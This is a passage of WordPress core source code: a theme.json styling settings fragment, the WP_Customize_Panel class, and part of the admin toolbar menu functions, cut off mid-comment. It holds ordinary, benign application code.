					"gradient": "linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%)",
					"slug": "very-light-gray-to-cyan-bluish-gray"
				},
				{
					"name": "Cool to warm spectrum",
					"gradient": "linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%)",
					"slug": "cool-to-warm-spectrum"
				},
				{
					"name": "Blush light purple",
					"gradient": "linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%)",
					"slug": "blush-light-purple"
				},
				{
					"name": "Blush bordeaux",
					"gradient": "linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%)",
					"slug": "blush-bordeaux"
				},
				{
					"name": "Luminous dusk",
					"gradient": "linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%)",
					"slug": "luminous-dusk"
				},
				{
					"name": "Pale ocean",
					"gradient": "linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%)",
					"slug": "pale-ocean"
				},
				{
					"name": "Electric grass",
					"gradient": "linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%)",
					"slug": "electric-grass"
				},
				{
					"name": "Midnight",
					"gradient": "linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%)",
					"slug": "midnight"
				}
			],
			"heading": true,
			"link": false,
			"palette": [
				{
					"name": "Black",
					"slug": "black",
					"color": "#000000"
				},
				{
					"name": "Cyan bluish gray",
					"slug": "cyan-bluish-gray",
					"color": "#abb8c3"
				},
				{
					"name": "White",
					"slug": "white",
					"color": "#ffffff"
				},
				{
					"name": "Pale pink",
					"slug": "pale-pink",
					"color": "#f78da7"
				},
				{
					"name": "Vivid red",
					"slug": "vivid-red",
					"color": "#cf2e2e"
				},
				{
					"name": "Luminous vivid orange",
					"slug": "luminous-vivid-orange",
					"color": "#ff6900"
				},
				{
					"name": "Luminous vivid amber",
					"slug": "luminous-vivid-amber",
					"color": "#fcb900"
				},
				{
					"name": "Light green cyan",
					"slug": "light-green-cyan",
					"color": "#7bdcb5"
				},
				{
					"name": "Vivid green cyan",
					"slug": "vivid-green-cyan",
					"color": "#00d084"
				},
				{
					"name": "Pale cyan blue",
					"slug": "pale-cyan-blue",
					"color": "#8ed1fc"
				},
				{
					"name": "Vivid cyan blue",
					"slug": "vivid-cyan-blue",
					"color": "#0693e3"
				},
				{
					"name": "Vivid purple",
					"slug": "vivid-purple",
					"color": "#9b51e0"
				}
			],
			"text": true
		},
		"shadow": {
			"defaultPresets": true,
			"presets": [
				{
					"name": "Natural",
					"slug": "natural",
					"shadow": "6px 6px 9px rgba(0, 0, 0, 0.2)"
				},
				{
					"name": "Deep",
					"slug": "deep",
					"shadow": "12px 12px 50px rgba(0, 0, 0, 0.4)"
				},
				{
					"name": "Sharp",
					"slug": "sharp",
					"shadow": "6px 6px 0px rgba(0, 0, 0, 0.2)"
				},
				{
					"name": "Outlined",
					"slug": "outlined",
					"shadow": "6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1)"
				},
				{
					"name": "Crisp",
					"slug": "crisp",
					"shadow": "6px 6px 0px rgba(0, 0, 0, 1)"
				}
			]
		},
		"spacing": {
			"blockGap": null,
			"margin": false,
			"padding": false,
			"customSpacingSize": true,
			"units": [ "px", "em", "rem", "vh", "vw", "%" ],
			"spacingScale": {
				"operator": "*",
				"increment": 1.5,
				"steps": 7,
				"mediumStep": 1.5,
				"unit": "rem"
			}
		},
		"typography": {
			"customFontSize": true,
			"dropCap": true,
			"fontSizes": [
				{
					"name": "Small",
					"slug": "small",
					"size": "13px"
				},
				{
					"name": "Medium",
					"slug": "medium",
					"size": "20px"
				},
				{
					"name": "Large",
					"slug": "large",
					"size": "36px"
				},
				{
					"name": "Extra Large",
					"slug": "x-large",
					"size": "42px"
				}
			],
			"fontStyle": true,
			"fontWeight": true,
			"letterSpacing": true,
			"lineHeight": false,
			"textDecoration": true,
			"textTransform": true,
			"writingMode": false
		},
		"blocks": {
			"core/button": {
				"border": {
					"radius": true
				}
			},
			"core/image": {
				"lightbox": {
					"allowEditing": true
				}
			},
			"core/pullquote": {
				"border": {
					"color": true,
					"radius": true,
					"style": true,
					"width": true
				}
			}
		}
	},
	"styles": {
		"elements": {
			"button": {
				"color": {
					"text": "#fff",
					"background": "#32373c"
				},
				"spacing": {
					"padding": "calc(0.667em + 2px) calc(1.333em + 2px)"
				},
				"typography": {
					"fontSize": "inherit",
					"fontFamily": "inherit",
					"lineHeight": "inherit",
					"textDecoration": "none"
				},
				"border": {
					"width": "0"
				}
			},
			"link": {
				"typography": {
					"textDecoration": "underline"
				}
			}
		},
		"spacing": {
			"blockGap": "24px",
			"padding": {
				"top": "0px",
				"right": "0px",
				"bottom": "0px",
				"left": "0px"
			}
		}
	}
}
<?php
/**
 * WordPress Customize Panel classes
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.0.0
 */

/**
 * Customize Panel class.
 *
 * A UI container for sections, managed by the WP_Customize_Manager.
 *
 * @since 4.0.0
 *
 * @see WP_Customize_Manager
 */
#[AllowDynamicProperties]
class WP_Customize_Panel {

	/**
	 * Incremented with each new class instantiation, then stored in $instance_number.
	 *
	 * Used when sorting two instances whose priorities are equal.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	protected static $instance_count = 0;

	/**
	 * Order in which this instance was created in relation to other instances.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	public $instance_number;

	/**
	 * WP_Customize_Manager instance.
	 *
	 * @since 4.0.0
	 * @var WP_Customize_Manager
	 */
	public $manager;

	/**
	 * Unique identifier.
	 *
	 * @since 4.0.0
	 * @var string
	 */
	public $id;

	/**
	 * Priority of the panel, defining the display order of panels and sections.
	 *
	 * @since 4.0.0
	 * @var int
	 */
	public $priority = 160;

	/**
	 * Capability required for the panel.
	 *
	 * @since 4.0.0
	 * @var string
	 */
	public $capability = 'edit_theme_options';

	/**
	 * Theme features required to support the panel.
	 *
	 * @since 4.0.0
	 * @var mixed[]
	 */
	public $theme_supports = '';

	/**
	 * Title of the panel to show in UI.
	 *
	 * @since 4.0.0
	 * @var string
	 */
	public $title = '';

	/**
	 * Description to show in the UI.
	 *
	 * @since 4.0.0
	 * @var string
	 */
	public $description = '';

	/**
	 * Auto-expand a section in a panel when the panel is expanded when the panel only has the one section.
	 *
	 * @since 4.7.4
	 * @var bool
	 */
	public $auto_expand_sole_section = false;

	/**
	 * Customizer sections for this panel.
	 *
	 * @since 4.0.0
	 * @var array
	 */
	public $sections;

	/**
	 * Type of this panel.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $type = 'default';

	/**
	 * Active callback.
	 *
	 * @since 4.1.0
	 *
	 * @see WP_Customize_Section::active()
	 *
	 * @var callable Callback is called with one argument, the instance of
	 *               WP_Customize_Section, and returns bool to indicate whether
	 *               the section is active (such as it relates to the URL currently
	 *               being previewed).
	 */
	public $active_callback = '';

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.0.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID for the panel.
	 * @param array                $args    {
	 *     Optional. Array of properties for the new Panel object. Default empty array.
	 *
	 *     @type int             $priority        Priority of the panel, defining the display order
	 *                                            of panels and sections. Default 160.
	 *     @type string          $capability      Capability required for the panel.
	 *                                            Default `edit_theme_options`.
	 *     @type mixed[]         $theme_supports  Theme features required to support the panel.
	 *     @type string          $title           Title of the panel to show in UI.
	 *     @type string          $description     Description to show in the UI.
	 *     @type string          $type            Type of the panel.
	 *     @type callable        $active_callback Active callback.
	 * }
	 */
	public function __construct( $manager, $id, $args = array() ) {
		$keys = array_keys( get_object_vars( $this ) );
		foreach ( $keys as $key ) {
			if ( isset( $args[ $key ] ) ) {
				$this->$key = $args[ $key ];
			}
		}

		$this->manager = $manager;
		$this->id      = $id;
		if ( empty( $this->active_callback ) ) {
			$this->active_callback = array( $this, 'active_callback' );
		}
		self::$instance_count += 1;
		$this->instance_number = self::$instance_count;

		$this->sections = array(); // Users cannot customize the $sections array.
	}

	/**
	 * Check whether panel is active to current Customizer preview.
	 *
	 * @since 4.1.0
	 *
	 * @return bool Whether the panel is active to the current preview.
	 */
	final public function active() {
		$panel  = $this;
		$active = call_user_func( $this->active_callback, $this );

		/**
		 * Filters response of WP_Customize_Panel::active().
		 *
		 * @since 4.1.0
		 *
		 * @param bool               $active Whether the Customizer panel is active.
		 * @param WP_Customize_Panel $panel  WP_Customize_Panel instance.
		 */
		$active = apply_filters( 'customize_panel_active', $active, $panel );

		return $active;
	}

	/**
	 * Default callback used when invoking WP_Customize_Panel::active().
	 *
	 * Subclasses can override this with their specific logic, or they may
	 * provide an 'active_callback' argument to the constructor.
	 *
	 * @since 4.1.0
	 *
	 * @return bool Always true.
	 */
	public function active_callback() {
		return true;
	}

	/**
	 * Gather the parameters passed to client JavaScript via JSON.
	 *
	 * @since 4.1.0
	 *
	 * @return array The array to be exported to the client as JSON.
	 */
	public function json() {
		$array                          = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'type' ) );
		$array['title']                 = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$array['content']               = $this->get_content();
		$array['active']                = $this->active();
		$array['instanceNumber']        = $this->instance_number;
		$array['autoExpandSoleSection'] = $this->auto_expand_sole_section;
		return $array;
	}

	/**
	 * Checks required user capabilities and whether the theme has the
	 * feature support required by the panel.
	 *
	 * @since 4.0.0
	 * @since 5.9.0 Method was marked non-final.
	 *
	 * @return bool False if theme doesn't support the panel or the user doesn't have the capability.
	 */
	public function check_capabilities() {
		if ( $this->capability && ! current_user_can( $this->capability ) ) {
			return false;
		}

		if ( $this->theme_supports && ! current_theme_supports( ...(array) $this->theme_supports ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Get the panel's content template for insertion into the Customizer pane.
	 *
	 * @since 4.1.0
	 *
	 * @return string Content for the panel.
	 */
	final public function get_content() {
		ob_start();
		$this->maybe_render();
		return trim( ob_get_clean() );
	}

	/**
	 * Check capabilities and render the panel.
	 *
	 * @since 4.0.0
	 */
	final public function maybe_render() {
		if ( ! $this->check_capabilities() ) {
			return;
		}

		/**
		 * Fires before rendering a Customizer panel.
		 *
		 * @since 4.0.0
		 *
		 * @param WP_Customize_Panel $panel WP_Customize_Panel instance.
		 */
		do_action( 'customize_render_panel', $this );

		/**
		 * Fires before rendering a specific Customizer panel.
		 *
		 * The dynamic portion of the hook name, `$this->id`, refers to
		 * the ID of the specific Customizer panel to be rendered.
		 *
		 * @since 4.0.0
		 */
		do_action( "customize_render_panel_{$this->id}" );

		$this->render();
	}

	/**
	 * Render the panel container, and then its contents (via `this->render_content()`) in a subclass.
	 *
	 * Panel containers are now rendered in JS by default, see WP_Customize_Panel::print_template().
	 *
	 * @since 4.0.0
	 */
	protected function render() {}

	/**
	 * Render the panel UI in a subclass.
	 *
	 * Panel contents are now rendered in JS by default, see WP_Customize_Panel::print_template().
	 *
	 * @since 4.1.0
	 */
	protected function render_content() {}

	/**
	 * Render the panel's JS templates.
	 *
	 * This function is only run for panel types that have been registered with
	 * WP_Customize_Manager::register_panel_type().
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Manager::register_panel_type()
	 */
	public function print_template() {
		?>
		<script type="text/html" id="tmpl-customize-panel-<?php echo esc_attr( $this->type ); ?>-content">
			<?php $this->content_template(); ?>
		</script>
		<script type="text/html" id="tmpl-customize-panel-<?php echo esc_attr( $this->type ); ?>">
			<?php $this->render_template(); ?>
		</script>
		<?php
	}

	/**
	 * An Underscore (JS) template for rendering this panel's container.
	 *
	 * Class variables for this panel class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Panel::json().
	 *
	 * @see WP_Customize_Panel::print_template()
	 *
	 * @since 4.3.0
	 */
	protected function render_template() {
		?>
		<li id="accordion-panel-{{ data.id }}" class="accordion-section control-section control-panel control-panel-{{ data.type }}">
			<h3 class="accordion-section-title" tabindex="0">
				{{ data.title }}
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Press return or enter to open this panel' );
					?>
				</span>
			</h3>
			<ul class="accordion-sub-container control-panel-content"></ul>
		</li>
		<?php
	}

	/**
	 * An Underscore (JS) template for this panel's content (but not its container).
	 *
	 * Class variables for this panel class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Panel::json().
	 *
	 * @see WP_Customize_Panel::print_template()
	 *
	 * @since 4.3.0
	 */
	protected function content_template() {
		?>
		<li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>">
			<button class="customize-panel-back" tabindex="-1"><span class="screen-reader-text">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Back' );
				?>
			</span></button>
			<div class="accordion-section-title">
				<span class="preview-notice">
				<?php
					/* translators: %s: The site/panel title in the Customizer. */
					printf( __( 'You are customizing %s' ), '<strong class="panel-title">{{ data.title }}</strong>' );
				?>
				</span>
				<# if ( data.description ) { #>
					<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text">
						<?php
						/* translators: Hidden accessibility text. */
						_e( 'Help' );
						?>
					</span></button>
				<# } #>
			</div>
			<# if ( data.description ) { #>
				<div class="description customize-panel-description">
					{{{ data.description }}}
				</div>
			<# } #>

			<div class="customize-control-notifications-container"></div>
		</li>
		<?php
	}
}

/** WP_Customize_Nav_Menus_Panel class */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menus-panel.php';
<?php
/**
 * Toolbar API: Top-level Toolbar functionality
 *
 * @package WordPress
 * @subpackage Toolbar
 * @since 3.1.0
 */

/**
 * Instantiates the admin bar object and set it up as a global for access elsewhere.
 *
 * UNHOOKING THIS FUNCTION WILL NOT PROPERLY REMOVE THE ADMIN BAR.
 * For that, use show_admin_bar(false) or the {@see 'show_admin_bar'} filter.
 *
 * @since 3.1.0
 * @access private
 *
 * @global WP_Admin_Bar $wp_admin_bar
 *
 * @return bool Whether the admin bar was successfully initialized.
 */
function _wp_admin_bar_init() {
	global $wp_admin_bar;

	if ( ! is_admin_bar_showing() ) {
		return false;
	}

	/* Load the admin bar class code ready for instantiation */
	require_once ABSPATH . WPINC . '/class-wp-admin-bar.php';

	/* Instantiate the admin bar */

	/**
	 * Filters the admin bar class to instantiate.
	 *
	 * @since 3.1.0
	 *
	 * @param string $wp_admin_bar_class Admin bar class to use. Default 'WP_Admin_Bar'.
	 */
	$admin_bar_class = apply_filters( 'wp_admin_bar_class', 'WP_Admin_Bar' );
	if ( class_exists( $admin_bar_class ) ) {
		$wp_admin_bar = new $admin_bar_class();
	} else {
		return false;
	}

	$wp_admin_bar->initialize();
	$wp_admin_bar->add_menus();

	return true;
}

/**
 * Renders the admin bar to the page based on the $wp_admin_bar->menu member var.
 *
 * This is called very early on the {@see 'wp_body_open'} action so that it will render
 * before anything else being added to the page body.
 *
 * For backward compatibility with themes not using the 'wp_body_open' action,
 * the function is also called late on {@see 'wp_footer'}.
 *
 * It includes the {@see 'admin_bar_menu'} action which should be used to hook in and
 * add new menus to the admin bar. That way you can be sure that you are adding at most
 * optimal point, right before the admin bar is rendered. This also gives you access to
 * the `$post` global, among others.
 *
 * @since 3.1.0
 * @since 5.4.0 Called on 'wp_body_open' action first, with 'wp_footer' as a fallback.
 *
 * @global WP_Admin_Bar $wp_admin_bar
 */
function wp_admin_bar_render() {
	global $wp_admin_bar;
	static $rendered = false;

	if ( $rendered ) {
		return;
	}

	if ( ! is_admin_bar_showing() || ! is_object( $wp_admin_bar ) ) {
		return;
	}

	/**
	 * Loads all necessary admin bar items.
	 *
	 * This is the hook used to add, remove, or manipulate admin bar items.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance, passed by reference.
	 */
	do_action_ref_array( 'admin_bar_menu', array( &$wp_admin_bar ) );

	/**
	 * Fires before the admin bar is rendered.
	 *
	 * @since 3.1.0
	 */
	do_action( 'wp_before_admin_bar_render' );

	$wp_admin_bar->render();

	/**
	 * Fires after the admin bar is rendered.
	 *
	 * @since 3.1.0
	 */
	do_action( 'wp_after_admin_bar_render' );

	$rendered = true;
}

/**
 * Adds the WordPress logo menu.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_wp_menu( $wp_admin_bar ) {
	if ( current_user_can( 'read' ) ) {
		$about_url      = self_admin_url( 'about.php' );
		$contribute_url = self_admin_url( 'contribute.php' );
	} elseif ( is_multisite() ) {
		$about_url      = get_dashboard_url( get_current_user_id(), 'about.php' );
		$contribute_url = get_dashboard_url( get_current_user_id(), 'contribute.php' );
	} else {
		$about_url      = false;
		$contribute_url = false;
	}

	$wp_logo_menu_args = array(
		'id'    => 'wp-logo',
		'title' => '<span class="ab-icon" aria-hidden="true"></span><span class="screen-reader-text">' .
				/* translators: Hidden accessibility text. */
				__( 'About WordPress' ) .
			'</span>',
		'href'  => $about_url,
		'meta'  => array(
			'menu_title' => __( 'About WordPress' ),
		),
	);

	// Set tabindex="0" to make sub menus accessible when no URL is available.
	if ( ! $about_url ) {
		$wp_logo_menu_args['meta'] = array(
			'tabindex' => 0,
		);
	}

	$wp_admin_bar->add_node( $wp_logo_menu_args );

	if ( $about_url ) {
		// Add "About WordPress" link.
		$wp_admin_bar->add_node(
			array(
				'parent' => 'wp-logo',
				'id'     => 'about',
				'title'  => __( 'About WordPress' ),
				'href'   => $about_url,
			)
		);
	}

	if ( $contribute_url ) {
		// Add contribute link.
		$wp_admin_bar->add_node(
			array(
				'parent' => 'wp-logo',
				'id'     => 'contribute',
				'title'  => __( 'Get Involved' ),
				'href'   => $contribute_url,
			)
		);
	}

	// Add WordPress.org link.
	$wp_admin_bar->add_node(
		array(
			'parent' => 'wp-logo-external',
			'id'     => 'wporg',
			'title'  => __( 'WordPress.org' ),
			'href'   => __( 'https://wordpress.org/' ),
		)
	);

	// Add documentation link.
	$wp_admin_bar->add_node(
		array(
			'parent' => 'wp-logo-external',
			'id'     => 'documentation',
			'title'  => __( 'Documentation' ),
			'href'   => __( 'https://wordpress.org/documentation/' ),
		)
	);

	// Add learn link.
	$wp_admin_bar->add_node(
		array(
			'parent' => 'wp-logo-external',
			'id'     => 'learn',
			'title'  => __( 'Learn WordPress' ),
			'href'   => 'https://learn.wordpress.org/',
		)
	);

	// Add forums link.
	$wp_admin_bar->add_node(
		array(
			'parent' => 'wp-logo-external',
			'id'     => 'support-forums',
			'title'  => __( 'Support' ),
			'href'   => __( 'https://wordpress.org/support/forums/' ),
		)
	);

	// Add feedback link.
	$wp_admin_bar->add_node(
		array(
			'parent' => 'wp-logo-external',
			'id'     => 'feedback',
			'title'  => __( 'Feedback' ),
			'href'   => __( 'https://wordpress.org/support/forum/requests-and-feedback' ),
		)
	);
}

/**
 * Adds the sidebar toggle button.
 *
 * @since 3.8.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_sidebar_toggle( $wp_admin_bar ) {
	if ( is_admin() ) {
		$wp_admin_bar->add_node(
			array(
				'id'    => 'menu-toggle',
				'title' => '<span class="ab-icon" aria-hidden="true"></span><span class="screen-reader-text">' .
						/* translators: Hidden accessibility text. */
						__( 'Menu' ) .
					'</span>',
				'href'  => '#',
			)
		);
	}
}

/**
 * Adds the "My Account" item.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_my_account_item( $wp_admin_bar ) {
	$user_id      = get_current_user_id();
	$current_user = wp_get_current_user();

	if ( ! $user_id ) {
		return;
	}

	if ( current_user_can( 'read' ) ) {
		$profile_url = get_edit_profile_url( $user_id );
	} elseif ( is_multisite() ) {
		$profile_url = get_dashboard_url( $user_id, 'profile.php' );
	} else {
		$profile_url = false;
	}

	$avatar = get_avatar( $user_id, 26 );
	/* translators: %s: Current user's display name. */
	$howdy = sprintf( __( 'Howdy, %s' ), '<span class="display-name">' . $current_user->display_name . '</span>' );
	$class = empty( $avatar ) ? '' : 'with-avatar';

	$wp_admin_bar->add_node(
		array(
			'id'     => 'my-account',
			'parent' => 'top-secondary',
			'title'  => $howdy . $avatar,
			'href'   => $profile_url,
			'meta'   => array(
				'class'      => $class,
				/* translators: %s: Current user's display name. */
				'menu_title' => sprintf( __( 'Howdy, %s' ), $current_user->display_name ),
				'tabindex'   => ( false !== $profile_url ) ? '' : 0,
			),
		)
	);
}

/**
 * Adds the "My Account" submenu items.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_my_account_menu( $wp_admin_bar ) {
	$user_id      = get_current_user_id();
	$current_user = wp_get_current_user();

	if ( ! $user_id ) {
		return;
	}

	if ( current_user_can( 'read' ) ) {
		$profile_url = get_edit_profile_url( $user_id );
	} elseif ( is_multisite() ) {
		$profile_url = get_dashboard_url( $user_id, 'profile.php' );
	} else {
		$profile_url = false;
	}

	$wp_admin_bar->add_group(
		array(
			'parent' => 'my-account',
			'id'     => 'user-actions',
		)
	);

	$user_info  = get_avatar( $user_id, 64 );
	$user_info .= "<span class='display-name'>{$current_user->display_name}</span>";

	if ( $current_user->display_name !== $current_user->user_login ) {
		$user_info .= "<span class='username'>{$current_user->user_login}</span>";
	}

	if ( false !== $profile_url ) {
		$user_info .= "<span class='display-name edit-profile'>" . __( 'Edit Profile' ) . '</span>';
	}

	$wp_admin_bar->add_node(
		array(
			'parent' => 'user-actions',
			'id'     => 'user-info',
			'title'  => $user_info,
			'href'   => $profile_url,
		)
	);

	$wp_admin_bar->add_node(
		array(
			'parent' => 'user-actions',
			'id'     => 'logout',
			'title'  => __( 'Log Out' ),
			'href'   => wp_logout_url(),
		)
	);
}

/**
 * Adds the "Site Name" menu.
 *
 * @since 3.3.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_site_menu( $wp_admin_bar ) {
	// Don't show for logged out users.
	if ( ! is_user_logged_in() ) {
		return;
	}

	// Show only when the user is a member of this site, or they're a super admin.
	if ( ! is_user_member_of_blog() && ! current_user_can( 'manage_network' ) ) {
		return;
	}

	$blogname = get_bloginfo( 'name' );

	if ( ! $blogname ) {
		$blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() );
	}

	if ( is_network_admin() ) {
		/* translators: %s: Site title. */
		$blogname = sprintf( __( 'Network Admin: %s' ), esc_html( get_network()->site_name ) );
	} elseif ( is_user_admin() ) {
		/* translators: %s: Site title. */
		$blogname = sprintf( __( 'User Dashboard: %s' ), esc_html( get_network()->site_name ) );
	}

	$title = wp_html_excerpt( $blogname, 40, '&hellip;' );

	$wp_admin_bar->add_node(
		array(
			'id'    => 'site-name',
			'title' => $title,
			'href'  => ( is_admin() || ! current_user_can( 'read' ) ) ? home_url( '/' ) : admin_url(),
			'meta'  => array(
				'menu_title' => $title,
			),
		)
	);

	// Create submenu items.

	if ( is_admin() ) {
		// Add an option to visit the site.
		$wp_admin_bar->add_node(
			array(
				'parent' => 'site-name',
				'id'     => 'view-site',
				'title'  => __( 'Visit Site' ),
				'href'   => home_url( '/' ),
			)
		);

		if ( is_blog_admin() && is_multisite() && current_user_can( 'manage_sites' ) ) {
			$wp_admin_bar->add_node(
				array(
					'parent' => 'site-name',
					'id'     => 'edit-site',
					'title'  => __( 'Edit Site' ),
					'href'   => network_admin_url( 'site-info.php?id=' . get_current_blog_id() ),
				)
			);
		}
	} elseif ( current_user_can( 'read' ) ) {
		// We're on the front end, link to the Dashboard.
		$wp_admin_bar->add_node(
			array(
				'parent' => 'site-name',
				'id'     => 'dashboard',
				'title'  => __( 'Dashboard' ),
				'href'   => admin_url(),
			)
		);

		// Add the appearance submenu items.
		wp_admin_bar_appearance_menu( $wp_admin_bar );

		// Add a Plugins link.
		if ( current_user_can( 'activate_plugins' ) ) {
			$wp_admin_bar->add_node(
				array(
					'parent' => 'site-name',
					'id'     => 'plugins',
					'title'  => __( 'Plugins' ),
					'href'   => admin_url( 'plugins.php' ),
				)
			);
		}
	}
}

/**
 * Adds the "Edit site" link to the Toolbar.
 *
 * @since 5.9.0
 * @since 6.3.0 Added `$_wp_current_template_id` global for editing of current template directly from the admin bar.
 *
 * @global string $_wp_current_template_id
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_edit_site_menu( $wp_admin_bar ) {
	global $_wp_current_template_id;

	// Don't show if a block theme is not activated.
	if ( ! wp_is_block_theme() ) {
		return;
	}

	// Don't show for users who can't edit theme options or when in the admin.
	if ( ! current_user_can( 'edit_theme_options' ) || is_admin() ) {
		return;
	}

	$wp_admin_bar->add_node(
		array(
			'id'    => 'site-editor',
			'title' => __( 'Edit site' ),
			'href'  => add_query_arg(
				array(
					'postType' => 'wp_template',
					'postId'   => $_wp_current_template_id,
				),
				admin_url( 'site-editor.php' )
			),
		)
	);
}

/**
 * Adds the "Customize" link to the Toolbar.
 *
 * @since 4.3.0
 *
 * @global WP_Customize_Manager $wp_customize
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_customize_menu( $wp_admin_bar ) {
	global $wp_customize;

	// Don't show if a block theme is activated and no plugins use the customizer.
	if ( wp_is_block_theme() && ! has_action( 'customize_register' ) ) {
		return;
	}

	// Don't show for users who can't access the customizer or when in the admin.
	if ( ! current_user_can( 'customize' ) || is_admin() ) {
		return;
	}

	// Don't show if the user cannot edit a given customize_changeset post currently being previewed.
	if ( is_customize_preview() && $wp_customize->changeset_post_id()
		&& ! current_user_can( get_post_type_object( 'customize_changeset' )->cap->edit_post, $wp_customize->changeset_post_id() )
	) {
		return;
	}

	$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
	if ( is_customize_preview() && $wp_customize->changeset_uuid() ) {
		$current_url = remove_query_arg( 'customize_changeset_uuid', $current_url );
	}

	$customize_url = add_query_arg( 'url', urlencode( $current_url ), wp_customize_url() );
	if ( is_customize_preview() ) {
		$customize_url = add_query_arg( array( 'changeset_uuid' => $wp_customize->changeset_uuid() ), $customize_url );
	}

	$wp_admin_bar->add_node(
		array(
			'id'    => 'customize',
			'title' => __( 'Customize' ),
			'href'  => $customize_url,
			'meta'  => array(
				'class' => 'hide-if-no-customize',
			),
		)
	);
	add_action( 'wp_before_admin_bar_render', 'wp_customize_support_script' );
}

/**
 * Adds the "My Sites/[Site Name]" menu and all submenus.
 *
 * @since 3.1.0
 *
 * @param WP_Admin_Bar $wp_admin_bar The WP_Admin_Bar instance.
 */
function wp_admin_bar_my_sites_menu( $wp_admin_bar ) {
	// Don't show for logged out users or single site mode.
	if ( ! is_user_logged_in() || ! is_multisite() ) {
		return;
	}

	// Show only when the user has at least one site, or they're a super admin.
	if ( count( $wp_admin_bar->user->blogs ) < 1 && ! current_user_can( 'manage_network' ) ) {
		return;
	}

	if ( $wp_admin_bar->user->active_blog ) {
		$my_sites_url = get_admin_url( $wp_admin_bar->user->active_blog->blog_id, 'my-sites.php' );
	} else {
		$my_sites_url = admin_url( 'my-sites.php' );
	}

	$wp_admin_bar->add_node(
		array(
			'id'    => 'my-sites',
			'title' => __( 'My Sites' ),
			'href'  => $my_sites_url,
		)
	);

	if ( current_user_can( 'manage_network' ) ) {
		$wp_admin_bar->add_group(
			array(
				'parent' => 'my-sites',
				'id'     => 'my-sites-super-admin',
			)
		);

		$wp_admin_bar->add_node(
			array(
				'parent' => 'my-sites-super-admin',
				'id'     => 'network-admin',
				'title'  => __( 'Network Admin' ),
				'href'   => network_admin_url(),
			)
		);

		$wp_admin_bar->add_node(
			array(
				'parent' => 'network-admin',
				'id'     => 'network-admin-d',
				'title'  => __( 'Dashboard' ),
				'href'   => network_admin_url(),
			)
		);

		if ( current_user_can( 'manage_sites' ) ) {
			$wp_admin_bar->add_node(
				array(
					'parent' => 'network-admin',
					'id'     => 'network-admin-s',
					'title'  => __( 'Sites' ),
					'href'   => network_admin_url( 'sites.php' ),
				)
			);
		}

		if ( current_user_can( 'manage_network_users' ) ) {
			$wp_admin_bar->add_node(
				array(
					'parent' => 'network-admin',
					'id'     => 'network-admin-u',
					'title'  => __( 'Users' ),
					'href'   => network_admin_url( 'users.php' ),
				)
			);
		}

		if ( current_user_can( 'manage_network_themes' ) ) {
			$wp_admin_bar->add_node(
				array(
					'parent' => 'network-admin',
					'id'     => 'network-admin-t',
					'title'  => __( 'Themes' ),
					'href'   => network_admin_url( 'themes.php' ),
				)
			);
		}

		if ( current_user_can( 'manage_network_plugins' ) ) {
			$wp_admin_bar->add_node(
				array(
					'parent' => 'network-admin',
					'id'     => 'network-admin-p',
					'title'  => __( 'Plugins' ),
					'href'   => network_admin_url( 'plugins.php' ),
				)
			);
		}

		if ( current_user_can( 'manage_network_options' ) ) {
			$wp_admin_bar->add_node(
				array(
					'parent' => 'network-admin',
					'id'     => 'network-admin-o',
					'title'  => __( 'Settings' ),
					'href'   => network_admin_url( 'settings.php' ),
				)
			);
		}
	}

	// Add site links.
	$wp_admin_bar->add_group(
		array(
			'parent' => 'my-sites',
			'id'     => 'my-sites-list',
			'meta'   => array(
				'class' => current_user_can( 'manage_network' ) ? 'ab-sub-secondary' : '',
			),
		)
	);

	/**
	 * Filters whether to show the site icons in toolbar.
	 *
